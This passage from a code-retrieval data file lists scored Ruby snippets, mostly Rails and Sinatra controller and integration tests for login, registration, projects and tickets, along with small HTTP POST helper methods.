post_via_redirect 'welcome/forgot_username',\r\n { :email => \"dud_email\" }\r\n assert_response :success\r\n assert_template 'forgot_username'\r\n end", "title": "" }, { "docid": "8cba23e19f768c1f0a3ca9d59e3517e0", "score": "0.583056", "text": "def post(method, params={})\n call method, params, :post\n end", "title": "" }, { "docid": "ce82aa88da5980a110a1fb454992e4f0", "score": "0.5818369", "text": "def assert_method_not_allowed\n assert_status 405\n end", "title": "" }, { "docid": "4d76b7a723f8005ae8bad72fab3c9c9e", "score": "0.5816827", "text": "def test_preview\n post :preview, :xhr => true, :params => { :type => \"html\" }\n assert_response :success\n\n post :preview, :xhr => true, :params => { :type => \"markdown\" }\n assert_response :success\n\n post :preview, :xhr => true, :params => { :type => \"text\" }\n assert_response :success\n end", "title": "" }, { "docid": "bfd91294d1f53e95371b17e5435f672a", "score": "0.57995397", "text": "def post(request)\n do_request(:post, request)\n end", "title": "" }, { "docid": "adbd4063f9795c23205a346f6dfd3f22", "score": "0.57761043", "text": "def post uri, args = {}; Request.new(POST, uri, args).execute; end", "title": "" }, { "docid": "e25cfbaf26701c7d8836485d5fd6f5bc", "score": "0.5769361", "text": "def test_post_projects_id_users\n error = 'There are no users assigned to this project.'\n success = 'You have successfully made new user assignments.'\n\n post '/projects/2/users',\n {assigned_users: [ '2!project_manager', '4!quality_assurance' ]},\n pm_session\n\n assert_equal 302, last_response.status\n assert_equal success, session[:success]\n\n get last_response['Location']\n assert_includes last_response.body, 'Project Assignment'\n assert_includes last_response.body, 'finance manager'\n assert_includes last_response.body, 'Assign Users to Project'\n assert_includes last_response.body, %q(type=\"submit\">Change User Assignments)\n\n get '/projects/2', {}, pm_session\n\n assert_includes last_response.body, 'Project Manager Demo'\n refute_includes last_response.body, 'Developer Demo'\n assert_includes last_response.body, 'Quality Assurance Demo'\n\n post '/projects/1/users', {}, pm_session\n\n assert_equal 302, last_response.status\n assert_equal error, session[:error]\n end", "title": "" }, { "docid": "b5494985f5f9907ecff738387b32a83f", "score": "0.57673097", "text": "def test_get\n @request.body = \"test\"\n put '/foo', 'limeberry'\n get '/foo', 'limeberry'\n\n assert_response 200\n assert_equal \"test\", @response.binary_content\n end", "title": "" }, { "docid": "275c414fe94377c8ea3a814a393daa36", "score": "0.5753787", "text": "def test_review_submit_not_logged_in \n post :review, :rating => { :rating => 3, :review => 'I thought this was really good, I would watch it again' }\n assert_redirected_to :controller => 'customer', :action => 'login'\n assert_equal \"Login is required\", flash[:message]\n end", "title": "" }, { "docid": "50e1d8e3080e341e97f8d31a2d84a51b", "score": "0.5752592", "text": "def test_should_create_status_post_via_API_JSON\r\n get \"/logout\"\r\n post \"/status_posts.json\", :api_key => 'testapikey',\r\n :status_post => {:body => 'API Status Post 1' }\r\n assert_response :created\r\n status_post = JSON.parse(response.body)\r\n check_new_status_post(status_post) \r\n end", "title": "" }, { "docid": "c840df2b574d7e45c9a87240d8f7c240", "score": "0.57413906", "text": "def post\n resource.post(request, response)\n end", "title": "" }, { "docid": "c840df2b574d7e45c9a87240d8f7c240", "score": "0.57413906", "text": "def post\n resource.post(request, response)\n end", "title": "" }, { "docid": "4180d858de91da8e62a829b4a5577430", "score": "0.57406235", "text": "def post(action, **args); end", "title": "" }, { "docid": "367553f783705f7cc660572087a2dfc8", "score": "0.5731328", "text": "def post_request(url, options = {})\n do_http_request(url, :post, options) { |response, request, result, &block|\n\n # This happens for a 303 already - https://github.com/archiloque/rest-client/commit/1b97ddeb74\n if [301, 302, 307].include? response.code\n\n # Clone the existing request, but change POST to GET a la standard browser behaviour. I know.\n args = request.args\n\n if args[:method] == :post\n args[:method] = :get\n args.delete :payload\n end\n\n return response if options[:dont_follow_redirects]\n\n response.follow_redirection(&block)\n else\n response.return!(&block)\n end\n }\nend", "title": "" }, { "docid": "03de12129cbf976ba5b4f83dec8229ab", "score": "0.5730045", "text": "def test_post_greeting_name\n post '/hello', {:greet => \"whats up?\", :name => \"david\"}\n assert_response(last_response, \"whats up?, david\", nil, nil, 200)\n end", "title": "" }, { "docid": "8165ad83f87ae0aac7fb715563fcdc87", "score": "0.5715868", "text": "def post(url)\n authsub_http_request(Net::HTTP::Post,url)\n end", "title": "" }, { "docid": "c8edada4df5c030cb115da601d98ceaf", "score": "0.5709623", "text": "def test_should_get_new_for_admin\n @request.session[:user_id] = @admin.id\n compatible_xhr_request :get, :new\n assert_response :success\n end", "title": "" }, { "docid": "77f7199d67f79c33df27e1d33ee74374", "score": "0.5706491", "text": "def post?\n method == \"POST\"\n end", "title": "" }, { "docid": "6e7c5d70f068e3b30a730d365648808f", "score": "0.5704221", "text": "def test_logged_in_user_access_to_registration_form_skipped\n # first log in\n get '/login' # need to do this to set up the form container.\n post '/login', { :username => GOOD_USERNAME, :password => GOOD_PASSWORD }\n\n get '/register'\n assert last_response.ok?\n assert last_response.body.include?('You are already logged in')\n end", "title": "" }, { "docid": "1ba57b9e101c01a250d2ad7039cbb8e8", "score": "0.57004", "text": "def test_entry_update\n \n post(:processor_list, {}, cathy_admin_session)\n assert_response(200)\n\n hweng_session = lee_hweng_session\n post(:processor_list, {}, hweng_session)\n assert_redirected_to(:controller => 'tracker', :action => 'index')\n #assert_equal(\"Access Prohibited\", flash['notice'])\n \n post(:send_back, {}, hweng_session)\n assert_redirected_to(:controller => 'tracker', :action => 'index')\n #assert_equal(\"Access Prohibited\", flash['notice'])\n \n post(:return_entry_to_originator, {}, hweng_session)\n assert_redirected_to(:controller => 'tracker', :action => 'index')\n #assert_equal(\"Access Prohibited\", flash['notice'])\n \n end", "title": "" }, { "docid": "d3f3c5a34a9c1f5591f367ba3dd2d993", "score": "0.56982934", "text": "def post_http_request(resource_name)\n ChefSpec::Matchers::ResourceMatcher.new(:http_request, :post, resource_name)\n end", "title": "" }, { "docid": "d1b2e257eed8c009673371fb7000cd3a", "score": "0.5693727", "text": "def post?\n method == 'POST'\n end", "title": "" }, { "docid": "c1d3b3829990d16f0920c1ddfbf8a322", "score": "0.569072", "text": "def test_post_ticket_id_comment_valid\n post '/tickets/2/comment',\n {comment: 'This is a test. Do not be alarmed.'},\n dev_session\n\n assert_equal 302, last_response.status\n get last_response['Location']\n assert_includes last_response.body, 'This is a test. Do not be alarmed.'\n end", "title": "" }, { "docid": "c10f033b9970339f5519da11219681b3", "score": "0.56880116", "text": "def test_request_button_auth_redirect\n skip \"Horizon Unavailable\" if horizon_unavailable?\n visit '/catalog/bib_305929'\n first('div.holding-visible').click\n first('a.item-children-link').click\n first('a.request').click\n assert page.has_no_content?('Network Error')\n assert page.has_content?('Login')\n end", "title": "" }, { "docid": "001044ef757b7f81c955cbe7ee150cb4", "score": "0.5687879", "text": "def ensure_post\n return false unless request.post?\n true\n end", "title": "" }, { "docid": "535c11f72d7a813018b323ae06f4437b", "score": "0.5686772", "text": "def test_logged_in_user_access_to_registration_form_skipped\n # first log in\n post '/login', { :username => GOOD_USERNAME, :password => GOOD_PASSWORD }\n\n post '/registration', { :username => \"any\", :password => \"any\", :email => \"any@any.any\" }\n assert last_response.ok?\n assert last_response.body.include?('You are already logged in')\n end", "title": "" }, { "docid": "4b0ccc77517a6e7edfcbe6d499fe0bcf", "score": "0.5676753", "text": "def ambiguous_request(params)\n response_get = browser_response 'get', '/send', params\n response_post = browser_response 'post', '/send', params\n assert_equal response_get, response_post\n\n # For simplicity, test onward with a single 'response' var\n response = response_get\n validate_response response\n response\n end", "title": "" }, { "docid": "0e600e586546f56b5fdda551d3b95dbd", "score": "0.56762785", "text": "def test_logar\n get '/'\n assert_redirected_to '/login'\n\n get '/login'\n\t assert_tag :tag => 'form', :attributes => { :action => '/login/login', :method => 'post' }\n\n\t post '/login/login', :login => { :name => \"raoni2\", :password => \"blibli\" }\n\t assert_redirected_to '/' \n end", "title": "" }, { "docid": "be26f152056a877d8e259e50173882b2", "score": "0.5668314", "text": "def ac_post_request(path, body)\n path = build_url(path)\n body['submitted'] = 'submitted'\n HTTParty.post(path, body: body)\n end", "title": "" }, { "docid": "90e60d78e8ffe3ebf73b1b6263e51261", "score": "0.56664747", "text": "def integration_test?\n defined?(post_via_redirect)\nend", "title": "" }, { "docid": "6049c9eae90e5b32c747089a3d425c7e", "score": "0.565581", "text": "def test_should_get_new\n #login_as(:john)\n #get :new\n #assert_response :success\n\n assert true\n end", "title": "" }, { "docid": "2ab3db0eeef0ac8d34ed4d5d776474d8", "score": "0.56547153", "text": "def test_new_form\n get :new\n assert_response :success\n end", "title": "" }, { "docid": "5c68134106dda99552b56acc5eb23441", "score": "0.56493914", "text": "def test_post_projects_new_invalid\n error ='That project name is already in use. A project name must be unique.'\n\n post '/projects/new',\n {name: 'bugtracker', description: 'new desc 42'},\n admin_session\n\n assert_equal 302, last_response.status\n assert_equal error, session[:error]\n\n post '/projects/new',\n {name: 'valid name', description: 'valid desc 23'},\n pm_session\n\n assert_equal 302, last_response.status\n assert_equal 'You are not authorized for that action', session[:error]\n end", "title": "" }, { "docid": "8472c2b250a721ea097efc166ffb290d", "score": "0.5644284", "text": "def post(path, params={}); make_request(:post, host, port, path, params); end", "title": "" }, { "docid": "4de618722967f2da4d46762f2bded480", "score": "0.56441283", "text": "def when_a_user_tries_to_submit(msg)\n visit '/'\n find('#form_post_text > textarea').set msg\n click_button 'Post!'\nend", "title": "" }, { "docid": "f851fea20144102a5fd9fc5ed1bce5e6", "score": "0.56385183", "text": "def test_forgot_password_bad_username \r\n dave = users(:dave)\r\n get 'welcome/index'\r\n assert_response :success\r\n get 'welcome/login'\r\n get 'welcome/forgot_password'\r\n assert_response :success\r\n post_via_redirect 'welcome/forgot_password',\r\n { :username => \"bad_username\" }\r\n assert_response :success\r\n assert_template 'forgot_password'\r\n end", "title": "" }, { "docid": "b3c76398bbaf60f209d1425feb55bd83", "score": "0.56383014", "text": "def post?\n request_method == :post\n end", "title": "" }, { "docid": "b3c76398bbaf60f209d1425feb55bd83", "score": "0.56383014", "text": "def post?\n request_method == :post\n end", "title": "" }, { "docid": "4ce0b9a25d41f202984d1510584d95cf", "score": "0.5631492", "text": "def test_logged_in_user_access_to_registration_form_skipped\n # first log in\n get '/login' # need to do this to set up the form container.\n post '/login', { :username => GOOD_USERNAME, :password => GOOD_PASSWORD }\n\n get '/register'\n post '/registration', { :username => \"anyuser\", :password => \"anypass\", :terms => 'true', :locale => 'en', :email => \"any@any.any\" }\n assert last_response.ok?\n assert last_response.body.include?('You are already logged in')\n end", "title": "" }, { "docid": "1a3fcc7d570530a701a525817756f3c8", "score": "0.5625501", "text": "def test_post_profile_info_update\n post '/profile/info_update',\n {first_name: 'Freddy', last_name: 'Mercury', email: 'fmer@queen.com'},\n dev_session\n\n assert_equal 302, last_response.status\n assert_equal 'You successfully updated your information.', session[:success]\n get last_response[\"Location\"]\n\n assert_includes last_response.body, 'Freddy'\n assert_includes last_response.body, 'Mercury'\n assert_includes last_response.body, 'fmer@queen.com'\n\n post '/profile/info_update',\n {first_name: 'Freddy', last_name: 'Mercury',\n email: 'project_manager@demo.com'},\n dev_session\n\n assert_equal 302, last_response.status\n assert_equal 'That email is already in use', session[:error]\n\n post '/profile/info_update',\n {first_name: 'Developer', last_name: 'Demo',\n email: 'developer@demo.com'},\n dev_session\n end", "title": "" }, { "docid": "b88585b34c14f1f7e788a6c80061ff1a", "score": "0.5619648", "text": "def test_post_perma_delete_id\r\n get \"/deleted\"\r\n assert last_response.body.include?(\"undeleteme mama\")\r\n post \"/perma_delete/#{@task8.id}\", params = {pg_type: \"deleted\"}\r\n follow_redirect!\r\n refute last_response.body.include?(\"undeleteme mama\")\r\n # If this were undeleted rather than permadeleted, it would be on /completed.\r\n # Check that this is false.\r\n get \"/completed\"\r\n refute last_response.body.include?(\"undeleteme mama\")\r\n end", "title": "" }, { "docid": "62871c63765a00937d6924ff6722fb3b", "score": "0.5617719", "text": "def test_post_projects_new_valid\n success = 'You have successfully created a new project.'\n\n post '/projects/new',\n {name: 'test project', description: 'valid description'},\n admin_session\n\n assert_equal 302, last_response.status\n assert_equal success, session[:success]\n\n get last_response['Location']\n assert_includes last_response.body, 'test project'\n assert_includes last_response.body, 'valid description'\n end", "title": "" }, { "docid": "c4b8ba4273b09ed53e57e2e3ebc0e16d", "score": "0.5615279", "text": "def post(options = {})\n request :post, options\n end", "title": "" }, { "docid": "35edae089de1c47db6fe5623c4e15dd6", "score": "0.5612666", "text": "def test_new\n get :new\n assert_response :success\n end", "title": "" }, { "docid": "35edae089de1c47db6fe5623c4e15dd6", "score": "0.5612666", "text": "def test_new\n get :new\n assert_response :success\n end", "title": "" }, { "docid": "67a9a884306151a7640f568ea343a583", "score": "0.561247", "text": "def post(route, params = nil)\n request(route, \"post\", params)\n end", "title": "" } ]
d3fb1e8e3e0b916d43d2f0f2906e426c
Resets the context to be blank. Use this carefully! This will remove any context, include context that is automatically included with Timber.
[ { "docid": "6b57e5d193575bf495f5da50ed0268f4", "score": "0.0", "text": "def reset\n hash.clear\n expire_cache!\n self\n end", "title": "" } ]
[ { "docid": "f7055f173f7c284374ac3f06aacd7256", "score": "0.8437701", "text": "def reset_context\n @context = nil\n end", "title": "" }, { "docid": "830cedc7b05d18cbad998dfd8e436b37", "score": "0.8252196", "text": "def reset\n @context = nil\n end", "title": "" }, { "docid": "92e77acbdc4edfc8f199adef8561e973", "score": "0.81020945", "text": "def clear_context\n @current_context = nil\n end", "title": "" }, { "docid": "4f60c1cfe433f6600ac4e914c4b1a56b", "score": "0.7734604", "text": "def reset!\n @context = [context[0]]\n end", "title": "" }, { "docid": "2c9080fc212131c609a974f019cfae44", "score": "0.77309394", "text": "def clear_view_context!\n @view_context = nil\n end", "title": "" }, { "docid": "814a274e109db5e63be7d758b7ed4d0f", "score": "0.76577365", "text": "def clear!\n contexts.clear\n end", "title": "" }, { "docid": "814a274e109db5e63be7d758b7ed4d0f", "score": "0.76577365", "text": "def clear!\n contexts.clear\n end", "title": "" }, { "docid": "75f903b99e974fbf7085c4bbe16ac121", "score": "0.7239174", "text": "def clear!\n context_manager.clear!\n end", "title": "" }, { "docid": "830e76a8af67dbd5279cc200af67cf28", "score": "0.71298265", "text": "def clear_current\n all_contexts.delete(Thread.current.object_id)\n end", "title": "" }, { "docid": "925875ab06010f69cf5cce0a3ed6c7d9", "score": "0.70342", "text": "def clear(context = nil)\n with_scope(context) { current_base.clear }\n end", "title": "" }, { "docid": "925875ab06010f69cf5cce0a3ed6c7d9", "score": "0.70342", "text": "def clear(context = nil)\n with_scope(context) { current_base.clear }\n end", "title": "" }, { "docid": "22aa3afaa6066f610a16fee325b1f49f", "score": "0.6908843", "text": "def clear!\n Thread.current[:__honeybadger_context] = nil\n end", "title": "" }, { "docid": "546e33e282bc1f602cf52ef22b322868", "score": "0.6858347", "text": "def switch_to_default_context\n set_context nil\n end", "title": "" }, { "docid": "546e33e282bc1f602cf52ef22b322868", "score": "0.6858347", "text": "def switch_to_default_context\n set_context nil\n end", "title": "" }, { "docid": "00018a970cc92dbd8c92a003a6bcd526", "score": "0.67671865", "text": "def clear\n context.clear if Thread.current[NAME]\n self\n end", "title": "" }, { "docid": "00018a970cc92dbd8c92a003a6bcd526", "score": "0.67671865", "text": "def clear\n context.clear if Thread.current[NAME]\n self\n end", "title": "" }, { "docid": "0f86cc13b2ce05105b035c3e7a0aba82", "score": "0.67646563", "text": "def clear!\n context_manager.clear!\n breadcrumbs.clear!\n end", "title": "" }, { "docid": "c58943881ed9bec5b6bb11e8a6a15d3c", "score": "0.66619027", "text": "def cancel\n # Context is already cleared in before_action\n end", "title": "" }, { "docid": "b205824ff5fb9402c089cae4faec846e", "score": "0.6650925", "text": "def clear\n \n @hook_contexts.clear if @hook_contexts\n @execution_contexts.clear if @execution_contexts\n @cascade_contexts.clear if @cascade_contexts\n \n self\n \n end", "title": "" }, { "docid": "d17dce2dedbb7c97e4a9b42898d49e31", "score": "0.6551169", "text": "def context_without_vars\n context = @context.dup\n context.keys.each do |k|\n context.delete(k) if k.kind_of?(String)\n end\n context\n end", "title": "" }, { "docid": "6d7564577936894c1261bc26dd1b821e", "score": "0.6476864", "text": "def reset_ctx(ctx)\n each_value {|x| x.reset_ctx(ctx) }\n end", "title": "" }, { "docid": "628218e922b085fba4e50932c995509a", "score": "0.6338285", "text": "def ensure_clean_context!\n return unless configuration[:tracer].call_context.current_span\n configuration[:tracer].provider.context = Context.new\n end", "title": "" }, { "docid": "628218e922b085fba4e50932c995509a", "score": "0.6338285", "text": "def ensure_clean_context!\n return unless configuration[:tracer].call_context.current_span\n configuration[:tracer].provider.context = Context.new\n end", "title": "" }, { "docid": "c62bdd9eafe7037f549c2e5e9ec45cc8", "score": "0.63314176", "text": "def remove_all_contexts\n previous_size = @contexts.size\n @contexts = []\n previous_size\n end", "title": "" }, { "docid": "0fef710f2f2a103e3a39e367e9f2781b", "score": "0.63272405", "text": "def ensure_clean_context!\n return unless Tracing.active_span\n\n Tracing.send(:tracer).provider.context = Tracing::Context.new\n end", "title": "" }, { "docid": "df1567a0c701f84431ce35c9e6a7f1ff", "score": "0.6286479", "text": "def reset_define_context(context=nil)\n ret = @define_context\n @define_context = HashStruct.new(context || {})\n return ret\n end", "title": "" }, { "docid": "dc43c627c7d9594f913e67971a3ac132", "score": "0.6272166", "text": "def clear(context: Context.current)\n context.set_value(CORRELATION_CONTEXT_KEY, EMPTY_CORRELATION_CONTEXT)\n end", "title": "" }, { "docid": "2a4346cc5def023ee2e9114773d7cb40", "score": "0.62705797", "text": "def context\n nil\n end", "title": "" }, { "docid": "edd6a89fd4e045afa2d2474e4c582ff8", "score": "0.62558657", "text": "def unset_span_context\n OpenCensus::Context.unset SPAN_CONTEXT_KEY\n end", "title": "" }, { "docid": "fa7897d8efa81e3208616f5907cddcbc", "score": "0.61708015", "text": "def reset\n @window_size = options.window_size\n contexts.reset\n end", "title": "" }, { "docid": "556f86fac7fc126933bad8cac7581c27", "score": "0.61348", "text": "def _context(*args, &block)\n puts \"<<< WARNING >>> IGNORING TEST SET #{args.inspect}. Remove leading _ from '_context()' to reactivate.\"\n end", "title": "" }, { "docid": "f96a28a3ea746acddcdc3c1ac010b29c", "score": "0.6133407", "text": "def detach_from_context\n assign_attributes(\n batch: nil,\n old_batch_number: batch.try(:batch_number),\n site: nil,\n institution: nil\n )\n end", "title": "" }, { "docid": "5b43274f651102c6f292c4e2d7503da5", "score": "0.61031044", "text": "def reset\n self.configuration = ({})\n config_contexts.values.each(&:reset)\n end", "title": "" }, { "docid": "42cc8ba7fa3c32a6b302b6904622ba34", "score": "0.6093526", "text": "def context_renew\n @context&.abort\n @context = org.dspace.core.Context.new\n end", "title": "" }, { "docid": "f8ec383de9ef150c610938066191417b", "score": "0.6069492", "text": "def with_context\n self.context_cache = {}\n yield\n ensure\n self.context_cache = nil\n end", "title": "" }, { "docid": "ccdca4cb7b325d5c1b70bfef247b7cd6", "score": "0.60683423", "text": "def reset\n super\n end", "title": "" }, { "docid": "714f29eb13ae1357e900fd2444abc616", "score": "0.60444576", "text": "def cancel!\n # Context is already cleared in action_for_message\n end", "title": "" }, { "docid": "59b1d4324f797fc5744505652f182b8d", "score": "0.60153985", "text": "def context\n {}\n end", "title": "" }, { "docid": "59b1d4324f797fc5744505652f182b8d", "score": "0.60153985", "text": "def context\n {}\n end", "title": "" }, { "docid": "22fe6b1261d97b2fb573f45589dce36f", "score": "0.597689", "text": "def pop_context\n context.pop\n end", "title": "" }, { "docid": "e2a6b03de02f3835fa7ab1c093ac5b56", "score": "0.59484565", "text": "def reset\n # Empty, but subclasses will override this.\n end", "title": "" }, { "docid": "0576afd96b88124a07926a576aa07f84", "score": "0.5920356", "text": "def flush_context_stack\n while (context != TopContext)\n pop_context\n end\n end", "title": "" }, { "docid": "77e6e06f27eeaf203b225a4e3568278a", "score": "0.5912804", "text": "def reset\n cleanup(true)\n end", "title": "" }, { "docid": "789dbce87baa186bd1b17d3849386bcd", "score": "0.5912078", "text": "def reset\n self\n end", "title": "" }, { "docid": "25a8ff94e1bddc20aa5d6157b7392b0b", "score": "0.58978504", "text": "def clear_builder\n TransactionState.get.transaction_sample_builder = nil\n end", "title": "" }, { "docid": "19f5ba5dbde91fe03a95075a83d017bd", "score": "0.5882214", "text": "def reset!\n logs.remove\n features.remove\n users.remove\n end", "title": "" }, { "docid": "50ea554ea76d626ac68c8026ec28de3d", "score": "0.58583385", "text": "def reset\n self.options = nil\n self.option_processors = nil\n end", "title": "" }, { "docid": "b794200e94ae72ad0a41f662e805f567", "score": "0.58354706", "text": "def reset()\n \n end", "title": "" }, { "docid": "20b33a3faad04ca0142eb15d4d2efb1f", "score": "0.58341104", "text": "def clear\n @entity_list = {}\n @context_list = {}\n @last_unique_id = 0\n @entity_names = {} # Internal cache of context names for quick key retrieval\n end", "title": "" }, { "docid": "38d8670d06a4d6c73b3dec5ab244cd74", "score": "0.5820786", "text": "def reset\n @instance = nil\n @local_env = nil\n end", "title": "" }, { "docid": "38d8670d06a4d6c73b3dec5ab244cd74", "score": "0.5820786", "text": "def reset\n @instance = nil\n @local_env = nil\n end", "title": "" }, { "docid": "9f3f7e81ca0575de57016bbcc354d5ec", "score": "0.58089554", "text": "def testContextDisposal \n assert(Context.method_defined?(:name), \"Method to drop unneeded contexts should exist\")\n _previousDefault = Context.default\n assert(Context.default.isActive)\n assert_raise(RuntimeError) {Context.default.discard} \n Context.default.deactivate\n assert(!Context.default.isActive, \"The default context should be inactive\")\n assert_nothing_raised(RuntimeError){Context.default.discard}\n assert_nothing_raised(RuntimeError){self.testDefaultContext}\n assert(!(Context.default == _previousDefault), \"Fresh default context should not be the default context just discarded\")\n end", "title": "" }, { "docid": "555683fdb3febb36d5c27c4916b73ede", "score": "0.58067816", "text": "def reset\n @caller_context_padding = 2\n @has_at_exit_report = true\n @alert_frequency = 1\n end", "title": "" }, { "docid": "fbe983bbb7d9c76c840a75edb7acf15c", "score": "0.5791872", "text": "def clear\n self.request = nil\n end", "title": "" }, { "docid": "57dc1fd27e109b80f3cb759fcc3ad437", "score": "0.57850325", "text": "def clear\n render({})\n end", "title": "" }, { "docid": "874c74d9fc545c132a91bd94403fac88", "score": "0.5760552", "text": "def reset\n configure({})\n end", "title": "" }, { "docid": "057f4c842a158afa282b57bbdd679315", "score": "0.57560676", "text": "def reset\n @exemptions = ExemptionList.from_module(CoreExemptions)\n @global = false\n @trusted_filters = []\n end", "title": "" }, { "docid": "416b840132cd0b3d6ad06a7b5a026f25", "score": "0.57466674", "text": "def reset\n # TODO\n end", "title": "" }, { "docid": "b80a7bc33e20d11f972e41d53f0778fe", "score": "0.57447994", "text": "def reset\n initialize\n @log = nil\n @default_model = nil\n end", "title": "" }, { "docid": "6d5f9cb6aad718fb3d20d541117fc6c5", "score": "0.573515", "text": "def reset!\n @options = {}\n end", "title": "" }, { "docid": "9d9ebe549da7b39a40d26ba00133bc11", "score": "0.57338935", "text": "def reset\n @args = nil\n end", "title": "" }, { "docid": "80d5e901ab0f7cab1c046178d4f784bc", "score": "0.57220024", "text": "def reset()\n #This is a stub, used for indexing\n end", "title": "" }, { "docid": "80d5e901ab0f7cab1c046178d4f784bc", "score": "0.57220024", "text": "def reset()\n #This is a stub, used for indexing\n end", "title": "" }, { "docid": "bd9a1b9fec3c12c42fb8a25cc8a916f6", "score": "0.5719897", "text": "def reset\n @tags.clear\n end", "title": "" }, { "docid": "4b31745de03adea764ea4eb4f0d47c09", "score": "0.5701644", "text": "def reset!\n end", "title": "" }, { "docid": "4b31745de03adea764ea4eb4f0d47c09", "score": "0.5701644", "text": "def reset!\n end", "title": "" }, { "docid": "3b3ceed0dfa10a89ab732859d9e6aaed", "score": "0.5698689", "text": "def reset\n\n end", "title": "" }, { "docid": "c28dab52acb852b0187f946dcee05852", "score": "0.56885296", "text": "def clean_thread_context(logger: nil, namespace: nil)\n if store(namespace).present?\n if logger.nil?\n puts \"WARNING: ThreadAccessor variables set outside ThreadAccessor context: #{store(namespace).keys.join(\", \")}\"\n else\n logger.warn(\"ThreadAccessor variables set outside ThreadAccessor context: #{store(namespace).keys.join(\", \")}\")\n end\n end\n\n yield\n ensure\n store(namespace).clear\n end", "title": "" }, { "docid": "9bd4b84004573c6b19c84c8c1e66e2ca", "score": "0.56867397", "text": "def reset\n reset_adapters\n reset_config\n reset_handlers\n reset_hooks\n end", "title": "" }, { "docid": "311458aab9bab757caf13fe1f58f671b", "score": "0.56862533", "text": "def reset\n @source_buffer = nil\n\n @lexer.reset\n @static_env.reset\n @context.reset\n @current_arg_stack.reset\n @pattern_variables.reset\n @pattern_hash_keys.reset\n\n self\n end", "title": "" }, { "docid": "86541e4d8b6db791a4d020f9765183b9", "score": "0.5676053", "text": "def context\n\t\t\told_context = @current_context\n\t\t\t@current_context = Context.new(@project, old_context)\n\t\t\tyield\n\t\t\t@current_context = old_context\n\t\tend", "title": "" }, { "docid": "899d0ef803ca558c552254f6a84ff252", "score": "0.56677437", "text": "def run_context\n nil\n end", "title": "" }, { "docid": "93f22cdbf0328d9e725fb01615dba22e", "score": "0.56670934", "text": "def reset!\n self.instance.reset!\n end", "title": "" }, { "docid": "93f22cdbf0328d9e725fb01615dba22e", "score": "0.56670934", "text": "def reset!\n self.instance.reset!\n end", "title": "" }, { "docid": "5c593c03431417e00b58795f0b347e3e", "score": "0.566274", "text": "def reset!\n reset_endpoints!\n reset_routes!\n reset_validations!\n end", "title": "" }, { "docid": "834978a0d4a0c2a066ee3b88f2e5061f", "score": "0.565445", "text": "def reset\n initialize(@options)\n end", "title": "" }, { "docid": "63620da6cccae4fd45b47e26d8b2e60e", "score": "0.5653941", "text": "def reset!\n @apps = {}\n @default_params = {}\n @basic_auth = nil\n end", "title": "" }, { "docid": "f2b42f10eb2ddcb6cf615bea5d8583e6", "score": "0.5639985", "text": "def clean\n Thread.current[:__cms_original_content] = nil\n Thread.current[:__cms_active_page] = nil\n Thread.current[:__cms_stack] = nil\n Thread.current[:__content_node_stack] = nil\n Thread.current[:__content_iterator_stack] = nil\n Thread.current[:__content_iterator_stack_key] = nil\n end", "title": "" }, { "docid": "9c84ab012711cd138182306c11bb4cf4", "score": "0.563845", "text": "def reset!\n initialize\n end", "title": "" }, { "docid": "dbee3826e02f61b0bca7741f30178e83", "score": "0.56345516", "text": "def drop\n self.class.contexts_by_connection.delete connection\n self.class.no_connection_contexts.delete self\n super\n end", "title": "" }, { "docid": "2064dc79965cdd0af12bfd8cd5d96fc5", "score": "0.56254786", "text": "def reset\n end", "title": "" }, { "docid": "2064dc79965cdd0af12bfd8cd5d96fc5", "score": "0.56254786", "text": "def reset\n end", "title": "" }, { "docid": "f974a6b74f11a0a4c279ee30d6b2ef9a", "score": "0.5610437", "text": "def reset!\n Thread.current[THREAD_KEY] = {}\n end", "title": "" }, { "docid": "319a8bbea4e6950fc84a98dadc37f20d", "score": "0.56068736", "text": "def reset\n @params = nil\n @logger = nil\n end", "title": "" }, { "docid": "12ac7c0f67b29f06a45042207fdbffe5", "score": "0.5600586", "text": "def reset\n end", "title": "" }, { "docid": "12ac7c0f67b29f06a45042207fdbffe5", "score": "0.5600586", "text": "def reset\n end", "title": "" }, { "docid": "12ac7c0f67b29f06a45042207fdbffe5", "score": "0.5600586", "text": "def reset\n end", "title": "" }, { "docid": "12ac7c0f67b29f06a45042207fdbffe5", "score": "0.5600586", "text": "def reset\n end", "title": "" }, { "docid": "c0ae0e016c2257d15c63d857fbc384c6", "score": "0.5600421", "text": "def reset! # :nodoc:\n @params = nil\n @request = nil\n @headers = nil\n end", "title": "" }, { "docid": "5762158d147a190151dab9811305b7c7", "score": "0.55947226", "text": "def reset!\n tap { set_defaults }\n end", "title": "" }, { "docid": "16e7263732d2522aa71dff263cebe964", "score": "0.55938625", "text": "def reset()\n end", "title": "" }, { "docid": "76097d669256b3e054a9069c62baf0e4", "score": "0.5592204", "text": "def clear_attributes\n @attributes = nil\n end", "title": "" }, { "docid": "aa55795959ae5eb4af049616a71e7a10", "score": "0.5588224", "text": "def reset() end", "title": "" }, { "docid": "29bf4204e61ee325176a4eae7a4af8de", "score": "0.5586599", "text": "def reset\n\n end", "title": "" }, { "docid": "96673715855128a7e591d1aa658b962e", "score": "0.558307", "text": "def reset!\n instance.reset!\n end", "title": "" }, { "docid": "96673715855128a7e591d1aa658b962e", "score": "0.558307", "text": "def reset!\n instance.reset!\n end", "title": "" }, { "docid": "32341fcca4798ca08ebcdd2b952d2c70", "score": "0.5569368", "text": "def clear\n reset_defaults\n self\n end", "title": "" }, { "docid": "16b59e30d3ca87c8c015a42e87386fe6", "score": "0.55679405", "text": "def reset!\n default_tags.clear\n adapters.clear\n groups.each_key { |group| singleton_class.send(:remove_method, group) if group && respond_to?(group) }\n @groups = nil\n metrics.each_key { |metric| singleton_class.send(:remove_method, metric) if respond_to?(metric) }\n @metrics = nil\n collectors.clear\n configurators.clear\n instance_variable_set(:@configured_by, nil)\n instance_variable_set(:@debug_was_enabled_by, nil)\n end", "title": "" }, { "docid": "e8340571d9e74155fe42058998428abd", "score": "0.55633783", "text": "def with_context(&block)\n Fiber.current.hammer_context = self\n block.call\n Fiber.current.hammer_context = nil\n end", "title": "" }, { "docid": "cb06654f63784cee9b55d82329158eea", "score": "0.5557275", "text": "def _prepare_context\n @view_flow = OutputFlow.new\n @output_buffer = ActionView::OutputBuffer.new\n @virtual_path = nil\n end", "title": "" }, { "docid": "e4c0b8ed5f2c7cd6cb7091002b37a0a6", "score": "0.55563635", "text": "def clear_current_user\n User.current_user = nil\n end", "title": "" } ]
84840720553a6d0bba097615144b5787
DELETE /matches/1 DELETE /matches/1.json
